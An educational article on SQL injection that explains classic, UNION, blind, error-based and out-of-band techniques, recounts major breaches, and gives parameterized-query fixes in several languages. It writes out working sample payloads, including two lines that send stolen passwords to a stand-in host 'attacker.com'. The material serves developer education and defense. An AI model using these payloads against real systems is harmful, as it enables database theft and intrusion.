What is SQL Injection?

SQL injection (SQLi) is a code injection technique that exploits vulnerabilities in applications that construct SQL queries using unsanitized user input. An attacker supplies specially crafted input through form fields, URL parameters, or HTTP headers, and that input is interpreted as SQL code rather than data. The result: the attacker can read, modify, or delete the entire database, bypass authentication, and in some cases execute commands on the underlying server.

SQL injection has been the most dangerous web vulnerability for over two decades. It consistently appears at the top of the OWASP Top 10 and was responsible for some of the largest data breaches in history, including the theft of 130 million credit card numbers from Heartland Payment Systems, the compromise of 77 million PlayStation Network accounts at Sony, and the exposure of 157,000 customers at TalkTalk.

How SQL Injection Works

To understand SQL injection, you need to understand how web applications interact with databases. Most web applications store data in a relational database — user accounts, orders, messages, configurations — and query that data using Structured Query Language (SQL). When a user submits a login form, searches for a product, or views a profile, the application constructs a SQL query incorporating the user's input.

The vulnerability arises when the application builds that query by concatenating strings — gluing the user's input directly into the SQL statement without treating it as data. Consider a login form that checks credentials like this:

-- Vulnerable query (string concatenation)
query = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'"

When a legitimate user enters alice and s3cret, the resulting query is perfectly valid:

SELECT * FROM users WHERE username = 'alice' AND password = 's3cret'

But what happens when an attacker enters ' OR '1'='1 as the password?

SELECT * FROM users WHERE username = 'alice' AND password = '' OR '1'='1'

The condition '1'='1' is always true, so the query returns all rows from the users table. The application sees a successful result and logs the attacker in — typically as the first user in the table, which is often the administrator.

SQL Injection — Login Bypass Flow User Input user: alice pass: ' OR '1'='1 Web Application Concatenates input into SQL string Database Executes query Returns ALL rows Resulting SQL: SELECT * FROM users WHERE username='alice' AND password='' OR '1'='1' Attacker Outcome '1'='1' is always TRUE Query returns every user row Login bypassed as admin Safe Version Use parameterized query Input treated as data only Injection impossible

This is the essence of SQL injection: the database cannot distinguish between the developer's intended SQL structure and the attacker's injected SQL, because the input was never separated from the code.

Types of SQL Injection

SQL injection attacks fall into several categories, each exploiting different aspects of how applications process queries and display results.

Classic (In-Band) SQL Injection

The simplest and most common form. The attacker injects SQL through the application's input, and the results appear directly in the application's response. The login bypass above is a classic example. Another common pattern is extracting data through search fields:

-- Application query for product search
SELECT name, price FROM products WHERE category = 'USER_INPUT'

-- Attacker input: ' UNION SELECT username, password FROM users --
-- Resulting query:
SELECT name, price FROM products WHERE category = '' UNION SELECT username, password FROM users --'

The UNION appends the contents of the users table to the product results. The -- comments out the trailing quote, keeping the syntax valid. The attacker sees usernames and passwords displayed where product names and prices should be.

UNION-Based SQL Injection

UNION attacks are a powerful technique for extracting data from other tables. The SQL UNION operator combines the results of two SELECT statements, but both must return the same number of columns. Attackers first determine the column count, then craft their extraction query.

Step 1 — Determine column count using ORDER BY:

-- Try increasing numbers until an error occurs
' ORDER BY 1 --    (works)
' ORDER BY 2 --    (works)
' ORDER BY 3 --    (works)
' ORDER BY 4 --    (error: column 4 does not exist)
-- The query has 3 columns

Step 2 — Extract data from a target table:

' UNION SELECT username, password, email FROM users --

If the column types do not match, the attacker can use NULL as a placeholder and cast values: UNION SELECT NULL, username, NULL FROM users --.

Blind SQL Injection (Boolean-Based)

When the application does not display query results directly — for example, it only shows "login successful" or "login failed" — the attacker can still extract data one bit at a time by asking true-or-false questions:

-- Is the first character of the admin password 'a'?
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin') = 'a' --

-- If the page responds normally: the first character is 'a'
-- If the page shows an error or different content: it is not 'a'

The attacker iterates through each character position and each possible value, reconstructing the password character by character. This is slow — extracting a 20-character password might require hundreds of requests — but it is easily automated with tools like sqlmap.

Blind SQL Injection (Time-Based)

When even the boolean response is indistinguishable (the page looks identical regardless of the query result), the attacker can use time delays as a side channel:

-- If the first character of the admin password is 'a', wait 5 seconds
' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a', SLEEP(5), 0) --

-- If the response takes 5+ seconds: the character is 'a'
-- If the response is immediate: it is not 'a'

Time-based blind injection is the slowest form of SQLi but works against virtually any vulnerable application, because the attacker only needs to measure response latency — no visible output difference is required.

Error-Based SQL Injection

Some applications display database error messages to users (a misconfiguration in itself). Attackers can intentionally trigger errors that include data from the database:

-- Force an error that reveals the database version
' AND 1=CONVERT(int, (SELECT @@version)) --

-- Error message:
-- "Conversion failed when converting 'Microsoft SQL Server 2019...' to int"

The error message leaks the database version, which the attacker uses to refine subsequent attacks. Other techniques use EXTRACTVALUE, UPDATEXML, or division-by-zero tricks to exfiltrate data through error messages.

Out-of-Band SQL Injection

In rare cases, the attacker cannot observe the query results through the application at all — not through content, errors, or timing. Out-of-band (OOB) techniques force the database to make an external network request carrying the stolen data:

-- Microsoft SQL Server: send data via DNS lookup
'; EXEC master..xp_dirtree '\\attacker.com\' + (SELECT TOP 1 password FROM users) + '.txt' --

-- Oracle: send data via HTTP
' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/' || (SELECT password FROM users WHERE ROWNUM=1)) FROM dual --

The attacker monitors their own DNS or HTTP server logs to receive the exfiltrated data. This technique depends on the database server having outbound network access and the specific database engine supporting network functions.

Types of SQL Injection Classic / In-Band Results appear in application response UNION-based Error-based Blind SQLi No visible output; inferred indirectly Boolean-based Time-based Out-of-Band Data exfiltrated via DNS or HTTP callbacks xp_dirtree (MSSQL) UTL_HTTP (Oracle) Potential Impact Authentication bypass Data theft (full DB dump) Data modification or deletion Remote code execution Severity depends on database privileges, network access, and application architecture. Even read-only access can expose passwords, tokens, PII, and financial data.

Real-World SQL Injection Attacks

SQL injection is not an academic curiosity. It has been the root cause of some of the largest data breaches in history.

Heartland Payment Systems (2008)

Albert Gonzalez and his co-conspirators used SQL injection to breach Heartland Payment Systems, one of the largest payment processors in the United States. The initial foothold was a SQL injection vulnerability in a web application, which gave the attackers access to Heartland's internal network. From there, they installed packet sniffers that captured credit card data in transit. Over several months, they stole approximately 130 million credit and debit card numbers. The breach cost Heartland over $200 million in settlements and fines, and Gonzalez was sentenced to 20 years in federal prison.

Sony PlayStation Network (2011)

Attackers exploited SQL injection vulnerabilities to breach the PlayStation Network, compromising 77 million user accounts. The stolen data included names, email addresses, dates of birth, and hashed passwords. Sony was forced to shut down PSN for 23 days, and the breach cost the company an estimated $171 million. The incident demonstrated that even large technology companies with substantial security budgets were vulnerable to this fundamental attack class.

TalkTalk (2015)

The UK telecommunications company TalkTalk suffered a breach when a teenager exploited SQL injection vulnerabilities in legacy web pages that had been acquired through company mergers. The attack exposed personal data of approximately 157,000 customers, including bank account numbers and sort codes for about 15,600 customers. TalkTalk was fined 400,000 GBP by the UK's Information Commissioner's Office — at the time, one of the largest fines ever issued. The company's stock price fell 12% in the aftermath, wiping out 60 million GBP in market value.

Other Notable Incidents

Prevention: Parameterized Queries

The primary defense against SQL injection is parameterized queries (also called prepared statements). Instead of concatenating user input into the SQL string, parameterized queries send the SQL structure and the data values separately. The database engine treats the parameters as pure data — never as executable SQL code — making injection impossible by design.

Vulnerable vs. Safe Query Construction VULNERABLE (String Concat) query = "SELECT * FROM users" + " WHERE name='" + input + "'"; Input and SQL code are mixed in the same string. DB sees one string: "...name='' OR '1'='1'" Attacker input becomes executable SQL code SAFE (Parameterized) query = "SELECT * FROM users" + " WHERE name = ?"; stmt.bind(1, input); SQL structure and data are sent separately. DB sees two things: Query: "...name = ?" Data: "' OR '1'='1" Input is always data, never executable code

Here are concrete examples in multiple languages showing the vulnerable pattern and its safe replacement:

Python (psycopg2 / PostgreSQL)

# VULNERABLE — never do this
cursor.execute("SELECT * FROM users WHERE id = " + user_id)

# SAFE — parameterized query
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))

JavaScript (Node.js / MySQL)

// VULNERABLE
connection.query("SELECT * FROM users WHERE id = " + userId);

// SAFE — parameterized query
connection.query("SELECT * FROM users WHERE id = ?", [userId]);

Java (JDBC)

// VULNERABLE
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("SELECT * FROM users WHERE id = " + userId);

// SAFE — PreparedStatement
PreparedStatement pstmt = conn.prepareStatement("SELECT * FROM users WHERE id = ?");
pstmt.setInt(1, userId);
ResultSet rs = pstmt.executeQuery();

Rust (rusqlite)

// VULNERABLE
let query = format!("SELECT * FROM users WHERE id = {}", user_id);
conn.query_row(&query, [], |row| { ... });

// SAFE — parameterized query
conn.query_row("SELECT * FROM users WHERE id = ?1", params![user_id], |row| { ... });

PHP (PDO)

// VULNERABLE
$stmt = $pdo->query("SELECT * FROM users WHERE id = " . $_GET['id']);

// SAFE — prepared statement
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$stmt->execute(['id' => $_GET['id']]);

The pattern is the same in every language: separate the query structure (with ? or :name placeholders) from the data values. The database driver handles escaping, quoting, and type conversion — the developer never constructs SQL strings from user input.

Defense: ORM Libraries

Object-Relational Mapping (ORM) libraries like SQLAlchemy (Python), Hibernate (Java), Entity Framework (.NET), Prisma (JavaScript/TypeScript), and Diesel (Rust) generate parameterized queries automatically. When you use an ORM's query API, you rarely write raw SQL at all:

# SQLAlchemy (Python) — inherently safe
user = session.query(User).filter(User.id == user_id).first()

# Prisma (TypeScript) — inherently safe
const user = await prisma.user.findUnique({ where: { id: userId } });

ORMs do not make SQL injection impossible — most allow raw SQL queries for complex operations, and those raw queries can still be vulnerable if written with string concatenation. But they dramatically reduce the surface area by making parameterized access the default path.

Defense: Input Validation and Allowlisting

While parameterized queries are the primary defense, input validation provides defense in depth. Validate that user input conforms to expected formats before it reaches any query:

Input validation is not a substitute for parameterized queries. It is an additional layer. Encoding and escaping functions (like mysql_real_escape_string) are similarly insufficient on their own, as they are error-prone and have been bypassed in various character encoding edge cases.

Defense: Web Application Firewalls (WAFs)

A Web Application Firewall (WAF) sits between the internet and your application, inspecting HTTP requests for malicious patterns. Modern WAFs from providers like Cloudflare, AWS WAF, and Akamai include SQL injection detection rules that block requests containing suspicious SQL syntax.

WAFs use a combination of signature matching (known attack patterns), anomaly detection (unusual request characteristics), and machine learning to identify injection attempts. They can block the most obvious attacks — requests containing UNION SELECT, ' OR 1=1, or ; DROP TABLE — before they reach the application.

However, WAFs are a mitigation layer, not a fix. Skilled attackers routinely bypass WAFs using encoding tricks (URL encoding, Unicode, hex), comment injection (/**/ instead of spaces), case variations, and other obfuscation techniques. A WAF cannot understand your application's intended query structure the way parameterized queries can. Use WAFs as part of a defense-in-depth strategy, never as the sole protection.

Defense: Least Privilege

Even if an attacker successfully exploits a SQL injection vulnerability, the damage can be limited by applying the principle of least privilege to database accounts:

Least privilege does not prevent SQL injection, but it limits the blast radius. An attacker who gains access through a read-only account cannot delete tables or execute operating system commands.

Defense: Error Handling

Never expose raw database error messages to end users. Detailed error messages — including SQL syntax errors, table names, column names, and database versions — give attackers valuable information for refining their injection payloads. Configure your application to:

This does not prevent SQL injection, but it forces attackers to use slower blind techniques instead of error-based extraction.

SQL Injection and Network Security

SQL injection is an application-layer attack, but its consequences often extend into network infrastructure. Once attackers gain database access through SQLi, they frequently pivot to deeper network compromise:

This is where application security intersects with network security. Proper network segmentation, encrypted transport via TLS/HTTPS, and monitoring of database query patterns are essential complements to application-level defenses. The traffic between your application server and database should always be encrypted and restricted to known internal paths — and the routes to your public-facing infrastructure are visible in BGP routing tables for anyone to inspect.

Testing for SQL Injection

Responsible security testing helps identify SQL injection vulnerabilities before attackers do. Common approaches include:

The most reliable method is a combination: automated scanning to find obvious issues, followed by manual review of all database interaction code. Every query that incorporates external input — whether from form fields, URL parameters, HTTP headers, cookies, or even data read from other database tables — must use parameterized queries.

SQL Injection and Modern Frameworks

Modern web frameworks have made SQL injection harder to introduce accidentally. Frameworks like Django, Rails, Laravel, ASP.NET Core, and Axum/actix-web (with ORMs) use parameterized queries by default. But SQL injection has not been eliminated, because:

The lesson: framework defaults help, but developers must understand the underlying vulnerability. No tool eliminates the need for awareness.

Explore Network Infrastructure

SQL injection attacks target the application layer, but the traffic that carries those attacks — and the stolen data — traverses the same BGP routing infrastructure that carries all internet traffic. Understanding how your application's network is connected, which autonomous systems carry your traffic, and whether your routes are protected by RPKI are all part of a comprehensive security posture.

Explore the network infrastructure behind the services you use:

See BGP routing data in real time

Open Looking Glass
More Articles
How TLS/HTTPS Works: Securing the Internet's Traffic
Certificate Transparency: How CT Logs Secure the Web's PKI
How Firewalls Work: Packet Filtering, Stateful Inspection, and Beyond
What is Cross-Site Scripting (XSS)?
What is Cross-Site Request Forgery (CSRF)?
What is Server-Side Request Forgery (SSRF)?